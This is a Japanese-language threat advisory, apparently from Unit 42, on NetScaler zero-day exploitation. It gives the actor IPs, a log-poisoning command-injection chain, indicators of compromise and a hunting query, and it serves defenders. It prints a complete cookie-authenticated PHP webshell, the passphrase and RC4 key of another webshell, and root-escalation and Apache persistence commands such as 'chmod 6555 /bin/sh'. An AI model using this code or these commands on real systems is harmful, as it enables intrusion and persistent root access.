エグゼクティブ サマリー
Unit 42は、NetScalerデバイスに対するゼロデイ アクティビティの可能性を認識しています。複数のCVEを詳述したCitrixレポートの中で、CVE-2026-88771とCVE-2026-88772が実環境で悪用されていることが指摘されています。脅威アクターはこれらの脆弱性を悪用してウェブシェルを配信し、組織への初期アクセスと永続性を確立しました。侵害後のアクティビティを特定するための分析が進行中です。
2026年9月27日現在、パロアルトネットワークスのCortex Xpanseは、当社のテレメトリに基づき、これらのCVEに対して脆弱である可能性のある50,277の露出したインスタンスを特定しています。
2026年9月27日以降のアクティビティは、元のゼロデイ アクティビティの侵害のインジケーター(IoC)や手法、戦術、手順(TTP)と同じものではない可能性があることに注意することが重要です。私たちは、脆弱性が公開された後に、元の攻撃者が何を行っていたのかと、脆弱性が公開された後に追加の攻撃者、セキュリティ研究者、インターネット スキャン ツールが何を行っているのかを区別するために、事前開示と事後開示の活動をグループ化しています。
脆弱性は次のとおりです:
- CVE-2026-88771:入力の検証を適切に行わず、認証されていない攻撃者がNetScaler Application Delivery Controller (ADC)およびNetScaler Gatewayシステムに対してコマンドを実行できるリモート コード実行(RCE)の脆弱性
- CVE-2026-88772:リモートコード実行(RCE)またはサービス拒否(DoS)につながる可能性がある、NetScaler ADCおよびNetScaler GatewayシステムにおけるDatagram Transport Layer Security (DTLS)設定のメモリ オーバーフロー脆弱性
脆弱性は両方ともCVSS v4.0のベーススコアが9.5です。
パロアルトネットワークスのお客様は、以下のような当社の製品やサービスを通じて、このアクティビティからより良く保護されます。
- Advanced URL Filtering, Advanced DNS Security と Advanced IP Defense
- 次世代ファイアウォールとAdvanced Threat Prevention
- Cortex XDRおよびXSIAM
- Cortex Xpanse
- Device Security
Unit 42インシデント レスポンスチームは、お客様のリスクを低減するために、危殆化の際の支援や、プロアクティブな評価の提供にも取り組んでいます。
| 検討された脆弱性 | CVE-2026-88771, CVE-2026-88772 |
開示前アクティビティ
このセクションは、これらのゼロデイ脆弱性が公表される前に発生した脅威アクティビティの分析です。ウェブシェル活動の2つのグループが観察されました。
- Datagram Transport Layer Security (DTLS)のエクスプロイトにより .debウェブ シェル ファイルがドロップされる
- PHPウェブシェルをドロップする3段階のコマンド インジェクション エクスプロイト チェーン
最初のアクティビティ: NetScalerデバイスのフィンガープリント
私たちが特定した最も早いアクティビティは、2026年8月21日に、104.248.244[.]66と77.83.199[.]39の2つのホストから発生しました。まず、104.248.244[.]66が米国の組織のNetScaler Gatewayアプライアンスから/admin_ui/common/css/ns/ui.cssを要求しました。
約2時間後、77.83.199[.]39のホストが同じファイル、/admin_ui/common/css/ns/ui.cssを要求しました。その2回目のリクエストから約2時間後、77.83.199[.]39が/vpn/js/rdx/core/lang/rdx_en.json.gzをリクエストしました。これらのリクエストはバージョン フィンガープリントと一致しています。
8月21日と22日、これら2つのホストと78.47.24[.]217は、100を超える他のシステムに対して同じリクエストを送信しました。
CVE-2026-88772:DTLSエクスプロイトから.deb Webシェル アクティビティへ
このエクスプロイト チェーンでは、攻撃者は脆弱なNetScalerデバイスに細工されたDTLSトラフィックを送信し、そのデバイスが悪意のあるパケットを処理します。この悪意のあるパケットは、メモリ破損またはクラッシュを引き起こし、コード実行またはサービス拒否につながる可能性があります。
9月4日から24日の間に、脅威アクターはアプライアンスの/vpn/scripts/linux/フォルダから繰り返しファイルを要求しました。このフォルダには通常、Citrixクライアントのインストール パッケージが格納されています。脅威アクターはこのフォルダをウェブシェルをホストするためにも使用しました。
脅威アクターはこの期間にインフラストラクチャをローテーションしました:
- 9月4日~8日: 4つの仮想プライベートサーバー(VPS)、それぞれ1日につき、nsgclient18.debとnsgser18.debを要求しました。これらのホストは66.135.19[.]18、167.99.111[.]203、142.93.85[.]227、および104.248.74[.]206でした。
- 9月7日: 137.184.91[.]207は同じファイルを要求しました。
- 9月9日~11日: Cloudflare WARP VPNアドレスがnsgclient18.deb、nsgsupport.debおよびnsgpackage64.debを要求しました。これらのアドレスは104.28.247.136、104.28.215.136、および104.28.215.137でした。
- 9月14日: 162.33.178[.]9はnsgbuild.debとnsgsupport.debを要求しました。
- 9月15日~24日: 193.149.176[.]207は毎日nsgbuild.debを要求しました。このサーバーが観測されたリクエストのほとんどを占めています
9月10日から27日まで、WARPアドレス(さらに2つのIPアドレス、104.28.247[.]137と193.149.176[.]207)がアプライアンスの/logon/LogonPoint/Authentication/GetUserNameページに対して連続的なリクエストを送信しました。このURLパスへのいかなるアクティビティも異常であり、調査する価値があると私たちは考えています。
リクエストは、ウェブシェル活動がない日も含め、24時間体制で続きました。それらはまた、9月24日の最後のウェブシェル要求の後も2日半続きました。
最後のリクエストは、Citrixがセキュリティ速報を発表する2時間前に、9月27日01:54 UTCに到着しました。
.debウェブシェル分析
このアクティビティで使用された.debファイルを回収し、分析しました。私たちは、Citrix NetScalerアプライアンスを標的としたPHPで書かれたウェブシェルであるnsg64.deb(ae22ef2517b5c0fb47f78745b9cb5260acee0e751b89bcd354640ff8bc8d29ec)を分析しました。このファイルは、リモートコマンド実行、ファイル流出、およびファイルアップロード機能を提供します。
すべてのコマンド&コントロール通信は、ハードコードされたパスフレーズRhfajaf1H992のMD5ハッシュである16バイトのキー7489a0f93c67fa5cdaeb4b921d90594dを使用してRC4暗号化されています。シェルは、kパラメータをパスフレーズと照合することによりオペレーターを認証し、権限昇格のために/var/netscaler/.ns_suidcmdのNetScaler SUIDバイナリを活用します。
アクターコマンドはカスタムHTTPヘッダー経由で到着します。これらのヘッダーは、HTTP_xxxサーバー変数、クッキー内のxxxパラメータ、GETおよびPOSTリクエストパラメータ、ならびにApacheリクエストヘッダーを確認することで取得されます。このウェブシェル内のコマンドハンドラは、5つの異なるコマンドをサポートしています。
- cmdコマンドは、shell_exec、exec、passthru、system、およびpopenを使用して任意のシェルコマンドを実行します。RC4暗号化された出力を返します。
- sizeコマンドは、wc -c < {filename} 2>/dev/nullを実行することによって決定される指定されたファイルのサイズを返します。
- dlコマンドは、オフセットと長さのパラメータを介したチャンク転送により、ターゲットシステムからファイルを外部流出させ、リクエストごとに1,048,576バイトのハードキャップを強制します。
- upコマンドは、オプションのアペンド モードで指定されたファイルパスにデータを書き込みます
- infoコマンドは、php=PHP_VERSION\nns=4の形式でPHPバージョンを返します。
CVE-2026-88771: 3段階のコマンド インジェクション エクスプロイトからウェブシェル実行まで
9月21日、77.83.199[.]39, 78.47.24[.]217および139.180.152[.]138からのアクターが、米国のターゲットのNetScalerデバイスに対して3段階のプロセスでPHPウェブシェルをドロップしました。
ステージ1
攻撃者は、ドロッパーコマンドをBase64テキストとしてUser-Agent文字列にエンコードして、NetScalerデバイスにHTTPリクエストを送信します。NetScalerデバイスは予想通り404エラーを返しますが、このUser-Agent文字列は/var/log/httpaccess-vpn.logに追加されます。
ステージ2
攻撃者は、/var/log/ns.log に失敗メッセージとして記録される追加のテキストを含むログイン要求を送信します。その内容は次のとおりです。
pitboss PPE missed too many heartbeatsNSPPE;<additional text>
最終的にこのns.logファイルは、脆弱なPerlスクリプト/netscaler/ns_monuploadd_err.plによって処理されます。
ステージ3
Perlスクリプトが/netscaler/ns_monuploadd_err.pl -WRで実行されると、次のことを行います。
- 前のステージから有毒なログエントリを拾い上げる
- NSPPEの後に挿入された追加のテキストを抽出する
- そのテキストをシェルコマンドの一部として実行する
このアクティビティにおける<additional text>では、ステージ1のアクセス ログ エントリに含まれるステージされたBase64を取得するためにgrepコマンドを使用します。その後、Base64エンコードされたテキストをデコードし、それをshまたはphpにパイプし、このデコードされたテキストをコマンドとして実行します。
ペイロード分析
図1は、上記の3段階のプロセスでドロップされ、Base64ペイロードとして実行されたPHPウェブシェルの一例を示しています。このテキストの冒頭でC2の代わりに複数の値(例: 3P、4B)が観察され、文字長は可変です。

図2はBase64ペイロードからデコードされたテキストを示しています。

コマンドの特徴
権限昇格ブートストラップ
chmod 6555 /bin/shは /bin/shにSUID + SGIDビットを設定します。続けて/bin/shを呼び出す任意の特権のないプロセスは、root UIDを継承します。この手順により、ウェブサーバーのランタイムユーザーに関係なく、将来のコマンドがrootとして実行されることが保証されます。
ドロップパスを設定する
mkdir -p /var/netscaler/logon/LogonPoint/custom
/var/netscaler/logon/LogonPoint/のディレクトリは、アプライアンスのApache (httpd)によって直接提供されるNetScaler GatewayのWeb UIのルートです。custom/サブディレクトリは、顧客UIのカスタマイズを意図したパスであり、設計上ウェブからアクセス可能であり、多くの場合で監視対象外です。
PHPウェブシェルをデプロイする
ファイル.ctxs.receiverには以下が含まれています。
<?php
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Pragma: no-cache");
header("Expires: 0");
if($_COOKIE["CsrfToken"]==="e826d7ddf3c85920" && !empty($_COOKIE["NSC_TASS"]))
passthru(urldecode($_COOKIE["NSC_TASS"]));
?>
認証ゲート
CsrfTokenクッキーはハードコードされた値e826d7ddf3c85920と等しくなければなりません。これはインプラントごとのパスワードです。異なる侵入では異なるトークンが使用される場合があります。
コマンドチャネル
NSC_TASSクッキーには、実行するためのURLエンコードされたコマンドが格納されています。Passthru()はシェル権限で実行され、出力をHTTPレスポンスに直接ストリームします。
ステルスヘッダー
No-store/no-cacheディレクティブはプロキシおよびブラウザのキャッシュを防ぎ、キャッシュされた応答分析による検出の可能性を低減します。
カモフラージュの命名
NSC_TASSは正規のNetScalerクッキー名(NetScalerがロードバランサー セッション クッキーに使用する名前空間はNSC_*)を模倣しているため、通常のアプライアンストラフィックに溶け込みます。
Apacheを介してhttpd.confをパッチ適用し、Webシェルを登録する
perl -ni -eのワンライナーは、/etc/httpd.confを外科的に編集して2つの要素を追加します。
- 隠しファイルに対するPHP実行を可能にし、アンチキャッシュヘッダーを設定する<Files ".ctxs.receiver">ブロック。
- 正規に見えるパスの下でウェブシェルを提供する2つのAlias/AliasMatchディレクティブ:
- 固定エイリアス:/logon/LogonPoint/custom/receiver.min.css → ウェブシェル
- 正規表現エイリアス: /logon/LogonPoint/custom/receiver.min.<hex>.css → ウェブシェル(任意の16進数サフィックス)
CSSファイル名の偽装は意図的です。ブラウザの開発者ツール、Webアプリケーション ファイアウォールのログ、およびブルー チーム アナリストがHTTPトラフィックを監視している場合、Webアプリケーションにとって完全に正常な、バージョン付きCSSアセットのロードのように見えるものが見られます。grep -qガードは、永続性メカニズムが再度実行された場合に重複したインジェクションを防ぎます。
PHPエンジンを有効にする
perl -pi -e 's/php_flag engine off/php_flag engine on /' /etc/httpd.confという一行コマンドは、ウェブシェルを実行するために必要なPHPを有効にするために、php_flag engine offをphp_flag engineに置き換えてhttpd.confを修正します。NetScalerのApache設定には、セキュリティ強化策としてPHP実行をグローバルに無効にするためにphp_flag engine offが同梱されています。
更新された設定を使用してApacheを再読み込みする
キル-HUP `cat /var/run/httpd.pid`は、ApacheプロセスにSIGHUPを送信し、アクティブな接続をドロップすることなく、正常な設定リロードをトリガーします。注入された設定とPHPエンジンの有効化は、再起動ログエントリもなく、無害なトラフィックを中断することなく、直ちに効果を発揮します。
開示後のアクティビティ
これらの脆弱性が2026年9月27日に公表された後、大規模なスキャンとテストが行われたのを目にしました。当社の分析は進行中であり、新たなアクティビティを特定した場合はこのセクションを更新します。
中間ガイダンス
お客様には、できるだけ早くCitrixソフトウェアを最新バージョンにアップデートし、以下の推奨事項に従うことをお勧めします。
- エクスポージャの確認は、これらの脆弱性に関するCitrix Security Advisoryの「アプライアンスがCVEの前提条件を満たすかどうかを判断するための手順」セクションに従ってください。
- ネットワークから脆弱なシステムを隔離する
- 証拠を保持するために、以下をキャプチャしてください:
- NetScaler VPXインスタンスのスナップショット
- リモートsyslogサーバおよびNetScalerコンソール上のログ
- テクニカル サポート バンドル
- パケット エンジン コア ダンプ
- 以下のものを探してください:
- 疑わしい管理セッションの兆候
- 予期しないアウトバウンド接続
- ロギングにおける説明のつかないギャップ
注意: これらは、これらの脆弱性に関連して私たちが具体的に観察したTTPではありません。Citrixがその勧告で特定したエクスプロイト アクティビティについてより多くが判明するまで、一般的なハンティング ガイダンスとして見なされるべきです。
- 最新バージョンへの更新とパッチ適用
注意: 更新やパッチ適用では、すでに侵害されたネットワーク内に永続性を確立している攻撃者のアクセス権は削除されません。
2026年9月27日現在、パロアルトネットワークスのCortex Xpanseは、当社のテレメトリに基づき、これらのCVEに対して脆弱である可能性のある50,277の露出したインスタンスを特定しました。
Unit 42マネージド脅威ハンティング用クエリ
このクエリはCVE-2026-88771のログ ポイズニングを検索します。パッチ適用されたデバイスでの成功したエクスプロイトは示していません。パッチが適用されていないデバイスは、このログポイズニングがシステムに存在する場合、実行につながります。
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
dataset = citrix_adc_raw | filter _raw_log contains "pitboss" | alter log_type = arrayindex(regextract(_raw_log, "<[^>]+>(?:[A-Za-z]{3}[ ]+[0-9]{1,2}[ ]+|[ ]+[0-9]{2}/[0-9]{2}/[0-9]{4}:)[0-9]{2}:[0-9]{2}:[0-9]{2}.+default ([\w]+)"), 0), log_sub_type = arrayindex(regextract(_raw_log, "<[^>]+>(?:[A-Za-z]{3}[ ]+[0-9]{1,2}[ ]+|[ ]+[0-9]{2}/[0-9]{2}/[0-9]{4}:)[0-9]{2}:[0-9]{2}:[0-9]{2}.+default [\w]+ ([\w]+)"), 0), command_attempted = if(_raw_log contains "PPE unexpectedly died", arrayindex(regextract(_raw_log, "pitboss PPE unexpectedly died NSPPE(?:\-00|)\;(.+)\>, factor"), 0), arrayindex(regextract(_raw_log, "pitboss PPE missed too many heartbeats\s?NSPPE(?:\-00|)\;(.+)\>, factor"), 0)) | filter command_attempted != null | comp earliest(_time) as first_seen, latest(_time) as last_seen, values(log_type) as log_type, count() by command_attempted |
パロアルトネットワークス製品の保護
パロアルトネットワークスのお客様は、さまざまな製品保護、アップデートを活用して、本脅威を特定し組織を保護いただけます。
情報漏えいの可能性がある場合、または緊急の案件がある場合はUnit 42インシデント レスポンス チームにアクセスするか電話でご連絡ください:
- 北米:フリーダイヤル: +1 (866) 486-4842 (866.4.UNIT42)
- 英国: +44.20.3743.3660
- ヨーロッパおよび中東: +31.20.299.3130
- アジア: +65.6983.8730
- 日本: +81.50.1790.0200
- オーストラリア: +61.2.4062.7950
- インド: 000 800 050 45107
- 韓国: +82.080.467.8774
Advanced Threat Preventionを搭載した次世代ファイアウォール
次世代ファイアウォールにAdvanced Threat Preventionのセキュリティ サブスクリプションを適用することで、以下のThreat Preventionシグネチャ経由で支援できます。97562:このシグネチャは、CVE-2026-88771 Citrix NetScalerコマンド インジェクション脆弱性のエクスプロイトをブロックするように設計されています。
次世代ファイアウォール向けクラウド提供型セキュリティ サービス
Advanced URL Filtering, Advanced DNS Security と Advanced IP Defenseは、このアクティビティに関連する既知のIPアドレスを悪意のあるものとして識別するように設計されています。
Cortex XDRおよびXSIAM
Cortex XDRとXSIAMは、動作分析を用いて、認証情報ベースの攻撃を含むポストエクスプロイト アクティビティを検出するように設計されています。
Cortex Xpanse
Cortex Xpanseには、公衆インターネット上で露出したCitrix NetScaler ADCおよびGatewayデバイスを特定し、この発見を防御側にエスカレーションする機能があります。お客様は、InsecureCitrixApplicationDeliveryControllerアタックサーフェス ルールを有効にすることで、このリスクに対するアラートを有効にできます。特定された調査結果は、Threat Response CenterまたはExpanderのインシデント ビューで確認できます。これらの知見は、ASMモジュールを購入したCortex XSIAMのお客様も利用できます。
デバイス セキュリティ
デバイス セキュリティは、運用環境の特殊なデバイス アタックサーフェスを積極的に保護するように設計されており、産業プロトコルへの深い可視性、実用的なリスクインサイト、およびすべてのOTおよびIoT資産にわたる適応力のあるセキュリティの適用を提供します。
参考文献
- Citrix NetScaler ADC and Citrix NetScaler Gateway Security Bulletin for CVE-2026-88771, CVE-2026-88772, CVE-2026-88773, CVE-2026-88774, CVE-2026-88775, CVE-2026-88776, CVE-2026-88777, and CVE-2026-88778 – Security Bulletin, Citrix
侵害のインジケーター
ネットワークインジケータ
- 45.61.136[.]143
- 66.227.183[.]84
- 77.83.199[.]39
- 104.28.215[.]137
- 104.248.244[.]66
- 104.28.247[.]136
- 162.33.178[.]9
- 193.149.176[.]207
- 216.245.184[.]164
ホストインジケータ
以下は、初期侵害後にドロップされたウェブシェルに関連するファイルの詳細リストです。
- /vpn/scripts/linux/nsgclient18.deb
- /vpn/scripts/linux/nsg64.deb
- /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver
SHA-256ハッシュ:
本生地の図1および図2のテキストは、以下のSHA-256ハッシュを持つテキストファイルで表されています。
- 1bd314b661396c7086f6367fbbb48025e03ca2de69c073d53a8b0a38aa5fbb7d - Base64ペイロード
- 79c65fa04541032e251fa4796b97800374b63c7982593dd1a2e0db605d429186 - デコードされたシェルスクリプト
- ae22ef2517b5c0fb47f78745b9cb5260acee0e751b89bcd354640ff8bc8d29ec - nsg64.deb file
2026年9月27日 午後4時15分(太平洋時間)更新Cortex Xpanseのテレメトリに関する情報を追加しました。
2026年9月30日 午後3時(太平洋時間)更新開示前後のアクティビティや脅威ハンティングクエリに関する情報を追加しました。追加の製品保護情報が追加されました。
2026年10月1日 午後1時(太平洋時間)更新MTHクエリを更新し、Cortex XpanseとDevice Security製品の保護情報を追加しました。
2026年10月8日午前7時(太平洋標準時)に更新し、製品保護の対象に「Advanced IP Defense」および「DNS Security」を追加しました。